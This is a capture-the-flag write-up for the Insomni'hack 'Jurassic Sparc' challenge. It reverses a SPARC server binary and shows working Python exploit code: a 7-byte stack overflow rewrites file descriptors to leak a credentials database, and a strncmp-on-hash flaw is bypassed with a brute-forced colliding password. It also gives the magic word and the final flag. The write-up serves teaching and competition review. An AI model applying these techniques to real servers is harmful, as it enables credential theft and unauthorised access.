Insomni’hack finals – Jurassic Sparc writeup

This task wasn’t solved during the CTF. People must hate sparc!

Find the binary, sources and exploit here!

In this task you were provided a sparc server binary and a python client, which was a Tkinter GUI. The client had an automatic animation reproducing the commands that are entered in the famous Jurassic Park video :

jurassicpark_magicword

The communication is established with a custom binary protocol, but the good news is, you can use the protocol.py file, which defines the basic structures and functions that are used throughout the client-server exchanges. So you don’t need to reverse everything! However as we are going to see the sparc syntax may be awful and IDA wasn’t helping much, which is where most teams stopped, unfortunately.
Also worth noting is the AnimationAccessSecurityGrid.animate method, which is called when the client checks the user authentication. It turns out to be the only code that calls protocol.authenticate.
The latest reveals that you need both valid credentials (user/password) and to provide the magic word (all of which can be edited within the GUI).

Now based on the protocol.py file you also know that an authentication packet has type 1, and a reboot packet has type 2. There are no other commands that the client can send. That allows to quickly identify within the client handle loop (sub_D80) the calls to the reboot command (sub_1B70, named cmd_reboot from now on) and authentication command (sub_18B8, cmd_auth).
Reversing the binary isn’t so easy because IDA doesn’t resolve strings, that are constructed like this (starting with the cmd_reboot function):

... [start of a function ] ...
.text:00001B74 sethi %hi(0x12400), %l7
.text:00001B78 call sub_D60 -> retl ; add %o7, %l7, %l7
.text:00001B7C inc 0x54, %l7
... [later] ...
.text:00001BEC sethi %hi(0x11C00), %o0
.text:00001BF0 btog -0x3CC, %o0
.text:00001BF4 add %l7, %o0, %o0 ! path

We can then extract the strings as follows within the output window in IDA:

Python> l7 = 0x12400 + 0x1B78 + 0x54
Python> GetString((0x11c00 ^ -0x3CC) + l7)
./credsdb
Python> GetString((0x11c00 ^ -0x394) + l7)
/dev/null
Python> GetString((0x11c00 ^ -0x374) + l7)
Reboot: failed to perform backup...
Python> GetString((0x11c00 ^ -0x3AC) + l7)
Message too long

Now we can reverse the cmd_reboot function, which:

  1. fails with “Message too long” if the provided message’s length is >= 200
  2. opens in_fd = open("./credsdb", O_RDONLY);
  3. opens out_fd = open("/dev/null", O_WRONLY);
  4. creates a string on the stack:
    var_D4 = 'Rebo'
    var_D0 = 'ot: '
    memcpy(var_CB, your_message, your_message_length)
  5. does fstat on the credsdb to extract the size
  6. sendfile(out_fd, in_fd, filesize)

The stack layout is [ var_D4 ][ var_D0 ][ var_CC ][ in_fd ][ out_fd ][ var_4 ].
We have a limited size buffer overflow (7 bytes, big endian) which allows us to rewrite the file descriptors.
As a result, we can make the server send us the database (fd 4 is our client handle, fd 3 was closed after fork):

import struct
import hexdump
from protocol import *

jp = JurassicProtocol("localhost", 9090,0xB16B00B5 )
payload = "A" * 191 + struct.pack(">II", 3, 4)
jp.send_packet(PACKET_REBOOT, payload)
hexdump.hexdump(jp.s.recv(0x2000))

Now back to cmd_auth : this function opens the credsdb file and loops until it finds a login that matches ours with strncmp, then it creates a checksum of our password using the sha512 function, and compares it with the database password using strncmp as well. One should not compare a raw hash using a string function, and that was indeed an issue since at least one user had a null byte in one of the first bytes of his hash :

...
00000370 52 6f 62 65 72 74 4d 75 6c 64 6f 6f 6e 00 00 00 |RobertMuldoon...| <- login
00000380 4c 75 c4 08 c6 8d 2b 99 63 04 40 38 2b a4 c8 eb |Lu....+.c.@8+...| <- hash
00000390 69 55 61 b3 0d 2c 2c b0 1d c1 cc b2 a8 2d 6d 90 |iUa..,,......-m.|
000003a0 72 67 19 1a ad 82 bc 7c fd 86 dc 75 da 20 43 c9 |rg.....|...u. C.|
000003b0 39 71 b1 5d 34 d9 ee b4 63 95 ff bc df 3b 5f 67 |9q.]4...c....;_g|
000003c0 44 65 6e 6e 69 73 4e 65 64 72 79 00 00 00 00 00 |DennisNedry.....| <- login
000003d0 d2 93 00 b7 c9 ac 12 7b f2 5b 59 f7 05 5e db 53 |.......{.[Y..^.S| <- hash
000003e0 03 8a 92 5e 5c 45 50 68 98 0c c7 e5 ed d4 30 1c |...^EPh......0.|
000003f0 5b 30 e8 c3 d9 65 0d 5d b5 61 9e a8 af 8a 8b 5c |[0...e.].a.....|
00000400 a7 45 27 3e 0f f6 1b 2b 86 70 13 75 ae 9c dd bc |.E'>...+.p.u....|
...

This can be brute-forced easily to find a collision. An example password whose hash starts with “d2 93 00” is “22320540“.
Now the only missing piece in the puzzle is the magic word.
From AnimationAccessSecurityGrid.animate in the python code we know that the return value of cmd_auth is:

  • 0 if auth failed
  • 1 if auth failed and/or magic is wrong
  • 2 if auth & magic word are ok

Thus simply looking at cmd_auth‘s graph we can deduce that the following snippet of code is in charge of the magic word comparison (we know from protocol.py that magic is an uint64):

jurassicsparc_condition_magic

which gives us…

>>> print hex((0xB17 << 32) | ctypes.c_uint32(-0x3B681800 ^ 0x25e).value)
0xb17c497ea5eL

When both the credentials and the magic word are valid, the cmd_auth function returns the flag, which should be directly printed in the GUI, however it seems I messed up something when removing the intended second part :/, so you had to to it from python:

jp = JurassicProtocol("localhost", 9090, 0xB17C497EA5E)
print jp.authenticate("DennisNedry", "22320540")
print jp.s.recv(0x1000) # Shouldn't be needed :/

Flag for Jurassic Sparc part 1 - INS{reboot is _always_ the solution}